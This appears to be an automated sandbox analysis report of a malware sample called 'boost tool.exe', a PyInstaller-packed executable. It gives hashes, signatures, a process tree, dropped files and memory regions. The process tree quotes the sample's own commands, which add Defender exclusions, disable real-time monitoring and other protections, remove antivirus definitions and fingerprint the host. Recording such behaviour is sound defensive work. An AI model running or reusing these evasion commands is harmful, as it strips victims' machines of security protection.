Resubmissions

28-12-2024 00:48

241228-a5t8yatjan 10

Analysis

  • max time kernel
    3s
  • max time network
    7s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    28-12-2024 00:48

General

  • Target

    boost tool.exe

  • Size

    11.6MB

  • MD5

    9d37471aabf29eaf9427bd8638beca5d

  • SHA1

    e547db6c6f8c055e256d2a7aebb6f21b5d17c4ab

  • SHA256

    b169d0f2f9a16e284ec681af72379f9841ac1f0bd648681dedffbee9563484c8

  • SHA512

    b16e3b3bbaf047f65f021f4fcb3fd3ca768c27d6693631c1245a16d965a6fd2527c54e42ed54dbf631da2b3f163015bbbaeba86bd0f4d6ee6c914da12937b5d4

  • SSDEEP

    196608:+WYShE+5vi5HuUYBDfWgtlA5RsO5ne0COshoKMuIkhVastRL5Di3uV1DV+:PYSyT5cSgtS7OOshouIkPftRL54u3+

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Loads dropped DLL 17 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 34 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\boost tool.exe
    "C:\Users\Admin\AppData\Local\Temp\boost tool.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Users\Admin\AppData\Local\Temp\boost tool.exe
      "C:\Users\Admin\AppData\Local\Temp\boost tool.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1260
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\boost tool.exe'"
        3⤵
          PID:4680
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\boost tool.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1652
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1892
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:1948
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
          3⤵
            PID:1204
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              PID:2120
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "start bound.exe"
            3⤵
              PID:1396
              • C:\Users\Admin\AppData\Local\Temp\bound.exe
                bound.exe
                4⤵
                  PID:2828
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                  PID:1228
                  • C:\Windows\system32\tasklist.exe
                    tasklist /FO LIST
                    4⤵
                    • Enumerates processes with tasklist
                    PID:2172
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                  3⤵
                    PID:3124
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic csproduct get uuid
                      4⤵
                        PID:1160
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                      3⤵
                        PID:4952

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\VCRUNTIME140.dll

                    Filesize

                    106KB

                    MD5

                    49c96cecda5c6c660a107d378fdfc3d4

                    SHA1

                    00149b7a66723e3f0310f139489fe172f818ca8e

                    SHA256

                    69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc

                    SHA512

                    e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_bz2.pyd

                    Filesize

                    48KB

                    MD5

                    c413931b63def8c71374d7826fbf3ab4

                    SHA1

                    8b93087be080734db3399dc415cc5c875de857e2

                    SHA256

                    17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293

                    SHA512

                    7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_ctypes.pyd

                    Filesize

                    58KB

                    MD5

                    00f75daaa7f8a897f2a330e00fad78ac

                    SHA1

                    44aec43e5f8f1282989b14c4e3bd238c45d6e334

                    SHA256

                    9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f

                    SHA512

                    f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_decimal.pyd

                    Filesize

                    106KB

                    MD5

                    e3fb8bf23d857b1eb860923ccc47baa5

                    SHA1

                    46e9d5f746c047e1b2fefaaf8d3ec0f2c56c42f0

                    SHA256

                    7da13df1f416d3ffd32843c895948e460af4dc02cf05c521909555061ed108e3

                    SHA512

                    7b0a1fc00c14575b8f415fadc2078bebd157830887dc5b0c4414c8edfaf9fc4a65f58e5cceced11252ade4e627bf17979db397f4f0def9a908efb2eb68cd645c

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_hashlib.pyd

                    Filesize

                    35KB

                    MD5

                    b227bf5d9fec25e2b36d416ccd943ca3

                    SHA1

                    4fae06f24a1b61e6594747ec934cbf06e7ec3773

                    SHA256

                    d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7

                    SHA512

                    c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_lzma.pyd

                    Filesize

                    85KB

                    MD5

                    542eab18252d569c8abef7c58d303547

                    SHA1

                    05eff580466553f4687ae43acba8db3757c08151

                    SHA256

                    d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9

                    SHA512

                    b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_queue.pyd

                    Filesize

                    25KB

                    MD5

                    347d6a8c2d48003301032546c140c145

                    SHA1

                    1a3eb60ad4f3da882a3fd1e4248662f21bd34193

                    SHA256

                    e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192

                    SHA512

                    b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_socket.pyd

                    Filesize

                    43KB

                    MD5

                    1a34253aa7c77f9534561dc66ac5cf49

                    SHA1

                    fcd5e952f8038a16da6c3092183188d997e32fb9

                    SHA256

                    dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f

                    SHA512

                    ff9eeb4ede4b4dd75c67fab30d0dec462b8af9ca6adc1dcae58f0d169c55a98d85bb610b157f17077b8854ec15af4dfab2f0d47fa9bc463e5b2449979a50293a

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_sqlite3.pyd

                    Filesize

                    56KB

                    MD5

                    1a8fdc36f7138edcc84ee506c5ec9b92

                    SHA1

                    e5e2da357fe50a0927300e05c26a75267429db28

                    SHA256

                    8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882

                    SHA512

                    462a8f995afc4cf0e041515f0f68600dfd0b0b1402be7945d60e2157ffd4e476cf2ae9cdc8df9595f0fe876994182e3e43773785f79b20c6df08c8a8c47fffa0

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\_ssl.pyd

                    Filesize

                    65KB

                    MD5

                    f9cc7385b4617df1ddf030f594f37323

                    SHA1

                    ebceec12e43bee669f586919a928a1fd93e23a97

                    SHA256

                    b093aa2e84a30790abeee82cf32a7c2209978d862451f1e0b0786c4d22833cb6

                    SHA512

                    3f362c8a7542212d455f1f187e24f63c6190e564ade0f24561e7e20375a1f15eb36bd8dce9fdaafdab1d6b348a1c6f7cddb9016e4f3535b49136550bc23454fb

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\base_library.zip

                    Filesize

                    1.4MB

                    MD5

                    bf6cd99ec3d2a7bc939a8f3d14121641

                    SHA1

                    ca8eafb77077e23fb23a45784ea17b19e93c99bc

                    SHA256

                    01be805110393abf9f1c57084dc026cdbc7135a4081f604579e3bf8f1dd23bd5

                    SHA512

                    e74f6dfbb0d7b56d4201339cca3896bef9af652e1cd031207a683b490433f1de82d0557d5d551db4c656d5f503639d16fb27cda30dff21b1399bd8bd339d3ec8

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\blank.aes

                    Filesize

                    118KB

                    MD5

                    beb50af0b511fea03428ebab1260c76e

                    SHA1

                    f2b8fddcf03a31c952faabbade67944384020aad

                    SHA256

                    f739a62f43384620b67f2bf1a02952513225a2c8adb8bd0adb07af045a455429

                    SHA512

                    9d083674ce0f347f11a3f1b03e9f7f373ef59c61510d9b269a50a41f98ce824b9ff6160bdd58ce859e26a8b857c8c3e92dc508d45e0691212aed6deeb14c3205

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\bound.blank

                    Filesize

                    4.3MB

                    MD5

                    149dd9917fbfd8f06c643f1d4cd253ea

                    SHA1

                    6e2258bd9f921a83409d601d952cc0c6e573043a

                    SHA256

                    a6d1b173a689c097463bc1b1d429c7c0dacb1c42caf74a19a36daaeccd89e7f2

                    SHA512

                    47449eb7746e66706038d4267e04fa9396e8b31d304366e5ffe3c874026c7cc64b5916738aa2bc2962514cbb87f96be6a5329637405614afdf251614ab882d96

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\libcrypto-3.dll

                    Filesize

                    1.6MB

                    MD5

                    78ebd9cb6709d939e4e0f2a6bbb80da9

                    SHA1

                    ea5d7307e781bc1fa0a2d098472e6ea639d87b73

                    SHA256

                    6a8c458e3d96f8dd3bf6d3cacc035e38edf7f127eee5563b51f8c8790ced0b3e

                    SHA512

                    b752769b3de4b78905b0326b5270091642ac89ff204e9e4d78670791a1fa211a54d777aeef59776c21f854c263add163adaef6a81b166190518cfaaf4e2e4122

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\libffi-8.dll

                    Filesize

                    29KB

                    MD5

                    08b000c3d990bc018fcb91a1e175e06e

                    SHA1

                    bd0ce09bb3414d11c91316113c2becfff0862d0d

                    SHA256

                    135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                    SHA512

                    8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\libssl-3.dll

                    Filesize

                    223KB

                    MD5

                    bf4a722ae2eae985bacc9d2117d90a6f

                    SHA1

                    3e29de32176d695d49c6b227ffd19b54abb521ef

                    SHA256

                    827fdb184fdcde9223d09274be780fe4fe8518c15c8fc217748ad5fd5ea0f147

                    SHA512

                    dd83b95967582152c7b5581121e6b69a07073e7a76fe87975742bb0fd7ecef7494ec940dba914364034cc4e3f623be98cc887677b65c208f14a2a9fc7497ca73

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\python311.dll

                    Filesize

                    1.6MB

                    MD5

                    5f6fd64ec2d7d73ae49c34dd12cedb23

                    SHA1

                    c6e0385a868f3153a6e8879527749db52dce4125

                    SHA256

                    ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967

                    SHA512

                    c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\rar.exe

                    Filesize

                    615KB

                    MD5

                    9c223575ae5b9544bc3d69ac6364f75e

                    SHA1

                    8a1cb5ee02c742e937febc57609ac312247ba386

                    SHA256

                    90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                    SHA512

                    57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\rarreg.key

                    Filesize

                    456B

                    MD5

                    4531984cad7dacf24c086830068c4abe

                    SHA1

                    fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                    SHA256

                    58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                    SHA512

                    00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\select.pyd

                    Filesize

                    25KB

                    MD5

                    45d5a749e3cd3c2de26a855b582373f6

                    SHA1

                    90bb8ac4495f239c07ec2090b935628a320b31fc

                    SHA256

                    2d15c2f311528440aa29934920fb0b015eaf8cbe3b3c9ad08a282a2d6ba68876

                    SHA512

                    c7a641d475a26712652a84b8423155ca347e0ec0155bd257c200225a64752453e4763b8885d8fb043b30e92ae023a501fff04777ba5cfe54da9a68071f25fbea

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\sqlite3.dll

                    Filesize

                    622KB

                    MD5

                    dbc64142944210671cca9d449dab62e6

                    SHA1

                    a2a2098b04b1205ba221244be43b88d90688334c

                    SHA256

                    6e6b6f7df961c119692f6c1810fbfb7d40219ea4e5b2a98c413424cf02dce16c

                    SHA512

                    3bff546482b87190bb2a499204ab691532aa6f4b4463ab5c462574fc3583f9fc023c1147d84d76663e47292c2ffc1ed1cb11bdb03190e13b6aa432a1cef85c4b

                  • C:\Users\Admin\AppData\Local\Temp\_MEI24042\unicodedata.pyd

                    Filesize

                    295KB

                    MD5

                    8c42fcc013a1820f82667188e77be22d

                    SHA1

                    fba7e4e0f86619aaf2868cedd72149e56a5a87d4

                    SHA256

                    0e00b0e896457ecdc6ef85a8989888ccfbf05ebd8d8a1c493946a2f224b880c2

                    SHA512

                    3a028443747d04d05fdd3982bb18c52d1afee2915a90275264bf5db201bd4612090914c7568f870f0af7dfee850c554b3fec9d387334d53d03da6426601942b4

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybaqvece.yqj.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Local\Temp\bound.exe

                    Filesize

                    3.7MB

                    MD5

                    1f9f11f6f22b55bce21f4b2d39990eb9

                    SHA1

                    dc769e9805a57b1ef6e84058e29b37bfaa7a81bb

                    SHA256

                    727ce625b6ec12c27b8e07caf10d8ed30c0521f9714c774de1e10a83c46a4f12

                    SHA512

                    daf4c579a35a41a5272608242d6be0e6ca7c00403e1e5a0ff1428123258b6c370a12db6a1f2e104cefefff65b84f8fd82702b9bc28a9881c577e14a921e04adf

                  • C:\Users\Admin\AppData\Local\Temp\bound.exe

                    Filesize

                    6.3MB

                    MD5

                    f1fe8b34eea454d9f85668cd083f16da

                    SHA1

                    ce85b3bc2b68429ea532d50f1b103cdfe6c2e3b4

                    SHA256

                    f5f9a34837dea3a0cebe643fefffad18a438ebc3fa9d77d57703c7170bcd85ab

                    SHA512

                    77622ad597f9df2bf6ae278e336e53ea70a440743beb6548a4b5c28601b4aa404609fb9cbc2e1e450b0fce8eab17f22a1d30e1d0480135d2ac11c03bd6bbc394

                  • memory/1260-62-0x00007FFD29640000-0x00007FFD297B7000-memory.dmp

                    Filesize

                    1.5MB

                  • memory/1260-74-0x000002BD12520000-0x000002BD12A40000-memory.dmp

                    Filesize

                    5.1MB

                  • memory/1260-60-0x00007FFD38570000-0x00007FFD38593000-memory.dmp

                    Filesize

                    140KB

                  • memory/1260-50-0x00007FFD40460000-0x00007FFD4046F000-memory.dmp

                    Filesize

                    60KB

                  • memory/1260-64-0x00007FFD38550000-0x00007FFD38569000-memory.dmp

                    Filesize

                    100KB

                  • memory/1260-66-0x00007FFD3AEA0000-0x00007FFD3AEAD000-memory.dmp

                    Filesize

                    52KB

                  • memory/1260-68-0x00007FFD31B80000-0x00007FFD31BB3000-memory.dmp

                    Filesize

                    204KB

                  • memory/1260-73-0x00007FFD28FA0000-0x00007FFD2906D000-memory.dmp

                    Filesize

                    820KB

                  • memory/1260-72-0x00007FFD299E0000-0x00007FFD29FC9000-memory.dmp

                    Filesize

                    5.9MB

                  • memory/1260-58-0x00007FFD385A0000-0x00007FFD385B9000-memory.dmp

                    Filesize

                    100KB

                  • memory/1260-76-0x00007FFD3AEB0000-0x00007FFD3AED3000-memory.dmp

                    Filesize

                    140KB

                  • memory/1260-75-0x00007FFD28A80000-0x00007FFD28FA0000-memory.dmp

                    Filesize

                    5.1MB

                  • memory/1260-80-0x00007FFD3A070000-0x00007FFD3A07D000-memory.dmp

                    Filesize

                    52KB

                  • memory/1260-83-0x00007FFD298C0000-0x00007FFD299DC000-memory.dmp

                    Filesize

                    1.1MB

                  • memory/1260-79-0x00007FFD33B90000-0x00007FFD33BA4000-memory.dmp

                    Filesize

                    80KB

                  • memory/1260-56-0x00007FFD38D90000-0x00007FFD38DBD000-memory.dmp

                    Filesize

                    180KB

                  • memory/1260-114-0x00007FFD38570000-0x00007FFD38593000-memory.dmp

                    Filesize

                    140KB

                  • memory/1260-26-0x00007FFD299E0000-0x00007FFD29FC9000-memory.dmp

                    Filesize

                    5.9MB

                  • memory/1260-31-0x00007FFD3AEB0000-0x00007FFD3AED3000-memory.dmp

                    Filesize

                    140KB

                  • memory/1948-93-0x00000299B95C0000-0x00000299B95E2000-memory.dmp

                    Filesize

                    136KB